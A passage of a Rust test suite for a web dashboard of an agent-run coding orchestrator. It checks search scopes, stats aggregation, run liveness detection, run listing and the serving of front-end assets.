10055 let parts = snippet_of(&text, &["a".repeat(120)]);
10056 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10057 }
10058
10059 #[tokio::test]
10060 async fn search_caps_hits_and_snippet_length() {
10061 let f = Fixture::start().await;
10062 let runs = f.runs();
10063 for n in 0..(SEARCH_MAX_HITS + 5) {
10064 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10065 }
10066 let v = f.get("/api/search?scope=runs&q=web").await.json();
10067 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10068 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10069 assert_eq!(v["truncated"], true);
10070 assert!(
10072 v["hits"]
10073 .as_array()
10074 .unwrap()
10075 .iter()
10076 .all(|h| h["run"]["status"] == "merged")
10077 );
10078
10079 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10080 let parts = snippet_of(&long, &["needle".to_owned()]);
10081 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10082 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10083 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10084 }
10085
10086 #[tokio::test]
10087 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10088 let f = Fixture::start().await;
10089 let queue = f.queue();
10090 let mut t = Task::new(
10091 "short title".to_owned(),
10092 "line one\nthe hidden Armadillo detail".to_owned(),
10093 PathBuf::from("/repo/magi"),
10094 Source::Agent {
10095 run: "r1".to_owned(),
10096 node: "chat".to_owned(),
10097 },
10098 );
10099 t.last_error = Some("disk full on /tmp".to_owned());
10100 queue.put(&mut t).expect("file the task");
10101
10102 for (q, want) in [
10103 ("armadillo", 1),
10104 ("disk%20FULL", 1),
10105 ("chat", 1),
10106 ("queued", 1),
10107 ("short%20nothing", 0),
10108 ] {
10109 let v = f
10110 .get(&format!("/api/search?scope=tasks&q={q}"))
10111 .await
10112 .json();
10113 assert_eq!(v["total"], want, "{q}: {v}");
10114 }
10115 for bad in [
10116 "/api/search?scope=tasks&q=",
10117 "/api/search?scope=tasks&q=%20",
10118 "/api/search?scope=chats&q=",
10119 "/api/search?scope=chats&q=%20",
10120 "/api/search?scope=nope&q=a",
10121 "/api/search?q=a",
10122 ] {
10123 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10124 }
10125 }
10126
10127 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10129 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10130 .expect("seat value");
10131 let turns: Vec<serde_json::Value> = turns
10132 .iter()
10133 .map(|(who, body)| {
10134 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10135 })
10136 .collect();
10137 let doc = serde_json::json!({
10138 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10139 "status": status, "turns": turns,
10140 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10141 "seat": seat,
10142 });
10143 let dir = f.home.path().join("talks");
10144 std::fs::create_dir_all(&dir).expect("talks dir");
10145 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10146 }
10147
10148 #[tokio::test]
10149 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10150 let f = Fixture::start().await;
10151 write_talk(
10152 &f,
10153 "20260901-000001-aaaa",
10154 "open",
10155 &[
10156 (
10157 "operator",
10158 "\n Why does the Pangolin cache expire?\nsecond line",
10159 ),
10160 ("agent", "Because the TTL is thirty seconds."),
10161 ],
10162 );
10163 write_talk(
10164 &f,
10165 "20260901-000002-bbbb",
10166 "closed",
10167 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10168 );
10169 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10170
10171 let search = |q: &'static str| {
10172 let f = &f;
10173 async move {
10174 f.get(&format!("/api/search?scope=chats&q={q}"))
10175 .await
10176 .json()
10177 }
10178 };
10179
10180 let v = search("PANGOLIN").await;
10181 assert_eq!(v["scope"], "chats");
10182 assert_eq!(v["total"], 1, "{v}");
10183 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10184 assert_eq!(v["hits"][0]["field"], "title");
10185 assert_eq!(v["unreadable"], 1, "{v}");
10186 let marked: Vec<&str> = v["hits"][0]["snippet"]
10187 .as_array()
10188 .unwrap()
10189 .iter()
10190 .filter(|p| p["hit"] == true)
10191 .map(|p| p["text"].as_str().unwrap())
10192 .collect();
10193 assert_eq!(marked, ["Pangolin"]);
10194
10195 let v = search("zebra").await;
10197 assert_eq!(v["total"], 1, "{v}");
10198 assert_eq!(v["hits"][0]["field"], "agent");
10199 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10201 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10202 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10204 assert_eq!(search(q).await["total"], 0, "{q}");
10205 }
10206 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10208 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10210
10211 let v = f.get("/api/search?scope=nope&q=a").await;
10212 assert_eq!(v.status, 400);
10213 assert!(
10214 v.body.contains("scope must be runs, tasks or chats"),
10215 "{}",
10216 v.body
10217 );
10218 }
10219
10220 #[test]
10221 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10222 let start = APP_JS
10223 .find("function scheduleSearch(")
10224 .expect("scheduleSearch exists");
10225 let body = &APP_JS[start..];
10226 let body = &body[..body.find("\n}\n").expect("function end")];
10227 assert!(body.contains("s.seq += 1"));
10228 }
10229
10230 #[tokio::test]
10235 async fn stats_runs_unreadable_matches_health() {
10236 let f = Fixture::start().await;
10237 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10238 let broken = f.runs().join("20260902-140502-bad");
10239 std::fs::create_dir_all(&broken).expect("run dir");
10240 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10241
10242 let stats = f.get("/api/stats").await;
10243 let health = f.get("/api/health").await;
10244
10245 assert_eq!(stats.status, 200);
10246 assert_eq!(stats.json()["totals"]["runs"], 1);
10247 assert_eq!(stats.json()["runs_unreadable"], 1);
10248 assert_eq!(
10249 stats.json()["runs_unreadable"],
10250 health.json()["runs_unreadable"],
10251 "the dashboard and /api/health must never disagree about how many \
10252 runs could not be read"
10253 );
10254 }
10255
10256 #[tokio::test]
10257 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10258 let f = Fixture::start().await;
10259 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10260 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10261 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10262
10263 let totals = &f.get("/api/stats").await.json()["totals"];
10264 assert_eq!(totals["runs"], 3);
10265 assert_eq!(totals["merged"], 1);
10266 assert_eq!(totals["stalled"], 1);
10267 assert_eq!(totals["in_progress"], 1);
10268 assert_eq!(totals["blocked"], 0);
10271 assert_eq!(totals["ready"], 0);
10272 }
10273
10274 #[tokio::test]
10275 async fn stats_advisors_report_proposals_and_reflection() {
10276 use crate::advise::{Advice, AdvisorRecord, Reflection};
10277 use crate::verdict::Proposal;
10278
10279 let f = Fixture::start().await;
10280 let mut state = RunState::new(
10281 PathBuf::from("/repo/magi"),
10282 "main".to_owned(),
10283 "0123456789abcdef".to_owned(),
10284 "task".to_owned(),
10285 Config::default(),
10286 );
10287 state.id = "20260902-140501-a".to_owned();
10288 state.status = RunStatus::Merged;
10289 state.advice = Some(Advice {
10290 records: vec![
10291 AdvisorRecord {
10292 seat: "advisor-1".to_owned(),
10293 agent: "alpha".to_owned(),
10294 proposal: Some(Proposal {
10295 approach: "do it".to_owned(),
10296 key_tradeoff: "speed over memory".to_owned(),
10297 risks: Vec::new(),
10298 touches: Vec::new(),
10299 why_not_naive: "breaks under load".to_owned(),
10300 }),
10301 error: None,
10302 duration_ms: 0,
10303 reflection: Reflection::Strong,
10304 },
10305 AdvisorRecord {
10306 seat: "advisor-2".to_owned(),
10307 agent: "alpha".to_owned(),
10308 proposal: None,
10309 error: Some("timed out".to_owned()),
10310 duration_ms: 0,
10311 reflection: Reflection::Absent,
10312 },
10313 ],
10314 synthesis: Some("blended brief".to_owned()),
10315 });
10316 let dir = f.runs().join(&state.id);
10317 std::fs::create_dir_all(&dir).expect("run dir");
10318 std::fs::write(
10319 dir.join("run.json"),
10320 serde_json::to_string_pretty(&state).expect("serialize run"),
10321 )
10322 .expect("write run.json");
10323
10324 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10325 let alpha = advisors
10326 .as_array()
10327 .expect("an array")
10328 .iter()
10329 .find(|a| a["agent"] == "alpha")
10330 .expect("alpha row");
10331 assert_eq!(alpha["seated"], 2);
10332 assert_eq!(alpha["proposed"], 1);
10333 assert_eq!(alpha["absent"], 1);
10334 assert_eq!(alpha["strong"], 1);
10335 assert_eq!(alpha["faint"], 0);
10336 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10337 }
10338
10339 #[tokio::test]
10340 async fn stats_release_bumps_split_clean_from_attention() {
10341 use crate::run::ReleaseBump;
10342
10343 let f = Fixture::start().await;
10344
10345 let mut clean = RunState::new(
10346 PathBuf::from("/repo/magi"),
10347 "main".to_owned(),
10348 "0123456789abcdef".to_owned(),
10349 "task".to_owned(),
10350 Config::default(),
10351 );
10352 clean.id = "20260902-140501-a".to_owned();
10353 clean.status = RunStatus::Merged;
10354 clean.release_bump = Some(ReleaseBump {
10355 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10356 version: Some("1.0.0".to_owned()),
10357 automerge_enabled: true,
10358 merged_directly: false,
10359 problem: None,
10360 action_required: None,
10361 });
10362
10363 let mut blocked = RunState::new(
10364 PathBuf::from("/repo/magi"),
10365 "main".to_owned(),
10366 "0123456789abcdef".to_owned(),
10367 "task".to_owned(),
10368 Config::default(),
10369 );
10370 blocked.id = "20260902-140502-b".to_owned();
10371 blocked.status = RunStatus::Merged;
10372 blocked.release_bump = Some(ReleaseBump {
10373 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10374 version: Some("1.0.1".to_owned()),
10375 automerge_enabled: false,
10376 merged_directly: false,
10377 problem: Some("checks red".to_owned()),
10378 action_required: Some("look at the PR".to_owned()),
10379 });
10380
10381 for state in [&clean, &blocked] {
10382 let dir = f.runs().join(&state.id);
10383 std::fs::create_dir_all(&dir).expect("run dir");
10384 std::fs::write(
10385 dir.join("run.json"),
10386 serde_json::to_string_pretty(state).expect("serialize run"),
10387 )
10388 .expect("write run.json");
10389 }
10390
10391 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10392 assert_eq!(bumps["merged"], 2);
10393 assert_eq!(bumps["recorded"], 2);
10394 assert_eq!(bumps["pr_opened"], 2);
10395 assert_eq!(bumps["automerge_enabled"], 1);
10396 assert_eq!(bumps["needs_attention"], 1);
10397 assert_eq!(bumps["clean"], 1);
10398 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10399 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10400 }
10401
10402 #[tokio::test]
10403 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10404 let f = Fixture::start().await;
10405 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10406
10407 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10408 assert_eq!(bumps["merged"], 1);
10409 assert_eq!(bumps["recorded"], 0);
10410 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10413 assert_eq!(bumps["automerge_rate"], Value::Null);
10416 assert_eq!(bumps["attention_rate"], Value::Null);
10417 }
10418
10419 #[tokio::test]
10420 async fn stats_queue_counts_come_from_the_live_queue() {
10421 let f = Fixture::start().await;
10422 let q = f.queue();
10423 let mut queued = Task::new(
10424 "queued task".to_owned(),
10425 "do it".to_owned(),
10426 PathBuf::from("/repo"),
10427 Source::Human,
10428 );
10429 q.put(&mut queued).expect("put queued");
10430 let mut held = Task::new(
10431 "held task".to_owned(),
10432 "do it later".to_owned(),
10433 PathBuf::from("/repo"),
10434 Source::Human,
10435 );
10436 held.hold_machine(Some("out of attempts".to_owned()));
10437 q.put(&mut held).expect("put held");
10438
10439 let queue = f.get("/api/stats").await.json()["queue"].clone();
10440 assert_eq!(queue["queued"], 1);
10441 assert_eq!(queue["held"], 1);
10442 assert_eq!(queue["running"], 0);
10443 assert_eq!(queue["done"], 0);
10444 assert_eq!(queue["failed"], 0);
10445 assert_eq!(queue["blocked"], 0);
10446 }
10447
10448 #[tokio::test]
10449 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10450 let f = Fixture::start().await;
10451 let stats = f.get("/api/stats").await;
10452 assert_eq!(stats.status, 200);
10453 assert_eq!(stats.json()["totals"]["runs"], 0);
10454 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10455 assert_eq!(stats.json()["runs_unreadable"], 0);
10456 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10457 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10458 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10459 assert_eq!(stats.json()["repo"], Value::Null);
10460 }
10461
10462 #[tokio::test]
10463 async fn stats_lists_every_repository_with_runs_recorded() {
10464 let f = Fixture::start().await;
10465 write_run_repo(
10466 &f.runs(),
10467 "20260902-140501-a",
10468 RunStatus::Merged,
10469 "/repos/a",
10470 );
10471 write_run_repo(
10472 &f.runs(),
10473 "20260902-140502-b",
10474 RunStatus::Merged,
10475 "/repos/a",
10476 );
10477 write_run_repo(
10478 &f.runs(),
10479 "20260902-140503-c",
10480 RunStatus::Blocked,
10481 "/repos/b",
10482 );
10483
10484 let stats = f.get("/api/stats").await;
10485 assert_eq!(stats.status, 200);
10486 assert_eq!(stats.json()["totals"]["runs"], 3);
10488 assert_eq!(stats.json()["repo"], Value::Null);
10489
10490 let repos = stats.json()["repos"].clone();
10491 let repos = repos.as_array().unwrap();
10492 assert_eq!(repos.len(), 2);
10493 assert_eq!(repos[0]["repo"], "/repos/a");
10495 assert_eq!(repos[0]["name"], "a");
10496 assert_eq!(repos[0]["runs"], 2);
10497 assert_eq!(repos[1]["repo"], "/repos/b");
10498 assert_eq!(repos[1]["runs"], 1);
10499 }
10500
10501 #[tokio::test]
10502 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10503 let f = Fixture::start().await;
10504 write_run_repo(
10505 &f.runs(),
10506 "20260902-140501-a",
10507 RunStatus::Merged,
10508 "/repos/a",
10509 );
10510 write_run_repo(
10511 &f.runs(),
10512 "20260902-140502-b",
10513 RunStatus::Blocked,
10514 "/repos/b",
10515 );
10516
10517 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10518 assert_eq!(stats.status, 200);
10519 assert_eq!(stats.json()["totals"]["runs"], 1);
10520 assert_eq!(stats.json()["totals"]["merged"], 1);
10521 assert_eq!(stats.json()["repo"], "/repos/a");
10522 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10525 assert_eq!(stats.json()["runs_unreadable"], 0);
10528 }
10529
10530 #[tokio::test]
10531 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10532 let f = Fixture::start().await;
10533 write_run_repo(
10534 &f.runs(),
10535 "20260902-140501-a",
10536 RunStatus::Merged,
10537 "/repos/a",
10538 );
10539
10540 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10541 assert_eq!(stats.status, 404);
10542 }
10543
10544 #[tokio::test]
10545 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10546 let f = Fixture::start().await;
10547 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10548
10549 let summary = f.get("/api/runs").await.json();
10550 let row = &summary[0];
10551 assert_eq!(row["short"], "a1b2");
10552 assert_eq!(row["status"], "ready");
10553 assert_eq!(row["done"], true);
10554 assert_eq!(row["title"], "Add a web UI");
10555 assert_eq!(row["repo_name"], "magi");
10556 assert_eq!(row["judges"], 3);
10557 assert_eq!(row["winner"], Value::Null);
10558 assert_eq!(row["reviews"], 0);
10559
10560 let detail = f.get("/api/runs/a1b2").await;
10563 assert_eq!(detail.status, 200);
10564 assert_eq!(detail.json()["base_branch"], "main");
10565 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10566 }
10567
10568 #[tokio::test]
10576 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10577 let f = Fixture::start().await;
10578
10579 let mut none_run = RunState::new(
10580 PathBuf::from("/repo/magi"),
10581 "main".to_owned(),
10582 "0123456789abcdef".to_owned(),
10583 "Add a web UI".to_owned(),
10584 Config::default(),
10585 );
10586 none_run.id = "20260902-140503-none".to_owned();
10587 none_run.status = RunStatus::Ready;
10588 none_run.merge = Some(crate::run::MergeOutcome {
10589 mode: crate::config::MergeMode::None,
10590 ok: true,
10591 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10592 empty: false,
10593 });
10594 write_state(&f.runs(), &none_run);
10595
10596 let mut pr_run = RunState::new(
10597 PathBuf::from("/repo/magi"),
10598 "main".to_owned(),
10599 "0123456789abcdef".to_owned(),
10600 "Add a web UI".to_owned(),
10601 Config::default(),
10602 );
10603 pr_run.id = "20260902-140504-prcl".to_owned();
10604 pr_run.status = RunStatus::Ready;
10605 pr_run.merge = Some(crate::run::MergeOutcome {
10606 mode: crate::config::MergeMode::Pr,
10607 ok: false,
10608 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10609 empty: false,
10610 });
10611 write_state(&f.runs(), &pr_run);
10612
10613 let summary = f.get("/api/runs").await.json();
10614 let rows: std::collections::HashMap<&str, &Value> = summary
10615 .as_array()
10616 .expect("an array")
10617 .iter()
10618 .map(|r| (r["id"].as_str().expect("an id"), r))
10619 .collect();
10620 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10621 assert_eq!(
10622 rows[none_run.id.as_str()]["unmerged_by_design"],
10623 true,
10624 "a mode-none Ready must be flagged in the list"
10625 );
10626 assert_eq!(
10627 rows[pr_run.id.as_str()]["unmerged_by_design"],
10628 false,
10629 "a Ready reached by a closed pull request is a different case"
10630 );
10631
10632 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10633 assert_eq!(none_detail["status"], "ready");
10634 assert_eq!(none_detail["unmerged_by_design"], true);
10635
10636 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10637 assert_eq!(pr_detail["unmerged_by_design"], false);
10638 }
10639
10640 #[tokio::test]
10645 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10646 let f = Fixture::start().await;
10647 let id = "20260902-140502-bbbb";
10651 let mut state = RunState::new(
10652 PathBuf::from("/repo/magi"),
10653 "main".to_owned(),
10654 "0123456789abcdef".to_owned(),
10655 "Add a web UI".to_owned(),
10656 Config::default(),
10657 );
10658 state.id = id.to_owned();
10659 state.status = RunStatus::Judging;
10660 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10661 let dir = f.runs().join(id);
10662 std::fs::create_dir_all(&dir).expect("run dir");
10663 std::fs::write(
10664 dir.join("run.json"),
10665 serde_json::to_string_pretty(&state).expect("serialize run"),
10666 )
10667 .expect("write run.json");
10668
10669 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10675 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10676 assert_eq!(cold["live"], "unknown", "{cold}");
10677
10678 write_daemon(f.home.path(), Timestamp::now());
10681 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10682 assert_eq!(warm["live"], "live", "{warm}");
10683 }
10684
10685 #[tokio::test]
10688 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10689 let f = Fixture::start().await;
10690 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10691 let mut state = RunState::new(
10692 PathBuf::from("/repo/magi"),
10693 "main".to_owned(),
10694 "0123456789abcdef".to_owned(),
10695 "Add a web UI".to_owned(),
10696 Config::default(),
10697 );
10698 state.id = id.to_owned();
10699 state.origin = origin;
10700 let mut value = serde_json::to_value(&state).expect("serialize run");
10701 if let Some(schema) = schema {
10702 value["schema"] = serde_json::json!(schema);
10703 value.as_object_mut().unwrap().remove("origin");
10704 }
10705 let dir = f.runs().join(id);
10706 std::fs::create_dir_all(&dir).expect("run dir");
10707 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10708 };
10709 write(
10710 "20260930-092817-ec34",
10711 Some(crate::run::Origin::from_agent_env(
10712 Some(("4a7b".to_owned(), "chat".to_owned())),
10713 None,
10714 )),
10715 None,
10716 );
10717 write("20260930-092817-0ld1", None, Some(12));
10718
10719 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10720 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10721 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10722
10723 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10724 assert_eq!(
10725 old["origin_label"], "origin unknown (started before origins were recorded)",
10726 "{old}"
10727 );
10728 assert!(old["origin"].is_null(), "{old}");
10729
10730 let list = f.get("/api/runs").await.json();
10731 let labels: Vec<_> = list
10732 .as_array()
10733 .unwrap()
10734 .iter()
10735 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10736 .collect();
10737 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10738 }
10739
10740 #[tokio::test]
10747 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10748 let f = Fixture::start().await;
10749 let id = "20260922-090000-cccc";
10750 let mut state = RunState::new(
10751 PathBuf::from("/repo/magi"),
10752 "main".to_owned(),
10753 "0123456789abcdef".to_owned(),
10754 "Review only".to_owned(),
10755 Config::default(),
10756 );
10757 state.id = id.to_owned();
10758 state.status = RunStatus::Reviewing;
10759 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10760 state.driver_pid = Some(std::process::id());
10766 state.driver_started_at = Some(
10767 crate::proc::process_started_at(std::process::id())
10768 .expect("this test process's own start time must be queryable"),
10769 );
10770 let dir = f.runs().join(id);
10771 std::fs::create_dir_all(&dir).expect("run dir");
10772 std::fs::write(
10773 dir.join("run.json"),
10774 serde_json::to_string_pretty(&state).expect("serialize run"),
10775 )
10776 .expect("write run.json");
10777
10778 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10779 assert_eq!(detail["live"], "live", "{detail}");
10780 }
10781
10782 #[tokio::test]
10788 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10789 let f = Fixture::start().await;
10790 let id = "20260922-090100-dddd";
10791 let mut state = RunState::new(
10792 PathBuf::from("/repo/magi"),
10793 "main".to_owned(),
10794 "0123456789abcdef".to_owned(),
10795 "Review only".to_owned(),
10796 Config::default(),
10797 );
10798 state.id = id.to_owned();
10799 state.status = RunStatus::Reviewing;
10800 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10801 state.driver_pid = Some(std::process::id());
10806 state.driver_started_at = Some("1".to_owned());
10807 let dir = f.runs().join(id);
10808 std::fs::create_dir_all(&dir).expect("run dir");
10809 std::fs::write(
10810 dir.join("run.json"),
10811 serde_json::to_string_pretty(&state).expect("serialize run"),
10812 )
10813 .expect("write run.json");
10814
10815 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10816 assert_eq!(detail["live"], "dead", "{detail}");
10817 }
10818
10819 #[test]
10823 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10824 let mk = |id: &str, pid: Option<u32>| {
10825 let mut s = RunState::new(
10826 PathBuf::from("/repo/magi"),
10827 "main".to_owned(),
10828 "0123456789abcdef".to_owned(),
10829 "Add a web UI".to_owned(),
10830 Config::default(),
10831 );
10832 s.id = id.to_owned();
10833 s.driver_pid = pid;
10834 s.driver_started_at = Some("1790000000".to_owned());
10835 s
10836 };
10837 let states = vec![
10838 mk("20260902-140502-aaaa", Some(77)),
10839 mk("20260902-140502-bbbb", Some(77)),
10840 mk("20260902-140502-cccc", Some(77)),
10841 mk("20260902-140502-dddd", None),
10842 ];
10843 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10844 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10845 let sup: HashMap<String, String> = [(
10846 "20260902-140502-aaaa".to_owned(),
10847 "20260902-140502-cccc".to_owned(),
10848 )]
10849 .into();
10850
10851 let status_calls = std::cell::Cell::new(0);
10852 let identity_calls = std::cell::Cell::new(0);
10853 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10854 |_| {
10855 status_calls.set(status_calls.get() + 1);
10856 Some(true)
10857 },
10858 |_| {
10859 identity_calls.set(identity_calls.get() + 1);
10860 Some("1790000000".to_owned())
10861 },
10862 ));
10863 let rows = summarize(
10864 states,
10865 &open,
10866 &claimed,
10867 &sup,
10868 |p| probe.borrow_mut().status(p),
10869 |p| probe.borrow_mut().started_at(p),
10870 );
10871
10872 assert_eq!(status_calls.get(), 1, "one pid, one status query");
10873 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10874 assert_eq!(rows.len(), 4);
10875 assert!(!rows[0].waiting && rows[1].waiting);
10876 assert_eq!(rows[0].live, crate::run::Liveness::Live);
10877 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10878 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10879 assert_eq!(rows[1].superseded_by, None);
10880 }
10881
10882 #[test]
10883 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10884 let mut state = RunState::new(
10885 PathBuf::from("/repo/magi"),
10886 "main".to_owned(),
10887 "0123456789abcdef".to_owned(),
10888 "Review only".to_owned(),
10889 Config::default(),
10890 );
10891 state.id = "20260922-090200-dead".to_owned();
10892 state.status = RunStatus::Reviewing;
10893 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
10894 .expect("serialize list row");
10895 assert_eq!(row["status"], "reviewing");
10896 assert_eq!(row["live"], "dead", "{row}");
10897 assert!(!row["done"].as_bool().unwrap());
10898 }
10899
10900 #[tokio::test]
10901 async fn the_run_list_is_newest_first_and_honours_a_limit() {
10902 let f = Fixture::start().await;
10903 for id in [
10904 "20260902-140501-aaaa",
10905 "20260902-140502-bbbb",
10906 "20260902-140503-cccc",
10907 ] {
10908 write_run(&f.runs(), id, RunStatus::Merged);
10909 }
10910
10911 let all = f.get("/api/runs").await.json();
10912 let capped = f.get("/api/runs?limit=2").await.json();
10913
10914 assert_eq!(all[0]["id"], "20260902-140503-cccc");
10915 assert_eq!(all.as_array().map(Vec::len), Some(3));
10916 assert_eq!(capped.as_array().map(Vec::len), Some(2));
10917 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
10918 }
10919
10920 #[tokio::test]
10921 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
10922 let f = Fixture::start().await;
10923 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
10924
10925 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
10926
10927 assert_eq!(res.status, 200);
10928 assert!(
10929 res.headers
10930 .contains("content-type: text/plain; charset=utf-8"),
10931 "a browser must render it, not download it: {}",
10932 res.headers
10933 );
10934 assert!(
10938 res.body.contains("20260902-140501-a1b2"),
10939 "the report is about the run that was asked for: {}",
10940 res.body
10941 );
10942 }
10943
10944 #[tokio::test]
10945 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
10946 let f = Fixture::start().await;
10947
10948 let html = f.get("/").await;
10949 let css = f.get("/app.css").await;
10950 let js = f.get("/app.js").await;
10951
10952 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
10953 assert!(
10954 html.headers
10955 .contains("content-type: text/html; charset=utf-8")
10956 );
10957 assert!(css.headers.contains("content-type: text/css"));
10958 assert!(js.headers.contains("content-type: text/javascript"));
10959 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
10960 }
10961
10962 #[test]
10963 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
10964 let body = |name: &str| {
10965 let at = APP_JS
10966 .find(name)
10967 .unwrap_or_else(|| panic!("{name} missing"));
10968 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
10969 };
10970 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
10971 let note = body("function landRoundNote");
10972 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
10973 assert!(note.contains("Land round ${round}"));
10974 let land = body("function renderLand");
10975 let note_at = land
10976 .find("landRoundNote(pr)")
10977 .expect("renderLand uses the note");
10978 assert!(
10979 note_at
10980 < land
10981 .find("roundRail(pr)")
10982 .expect("renderLand uses the rail")
10983 );
10984 }
10985
10986 #[test]
10987 fn the_runs_page_redesign_keeps_its_guards() {
10988 let body = |name: &str| {
10989 let at = APP_JS
10990 .find(name)
10991 .unwrap_or_else(|| panic!("{name} missing"));
10992 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
10993 };
10994 let land = body("function renderLand");
10996 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
10997 assert!(
10998 !land.contains("box.append("),
10999 "renderLand must use append()"
11000 );
11001 assert!(land.contains("append(box, ["));
11002 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11004 assert!(
11005 body("function applyRoute")
11006 .contains("route.name !== state.route.name || route.id !== state.route.id")
11007 );
11008 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11010 assert!(!INDEX_HTML.contains("advise-converge"));
11011 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11012 assert!(APP_JS.contains("provisional"));
11013 for id in [
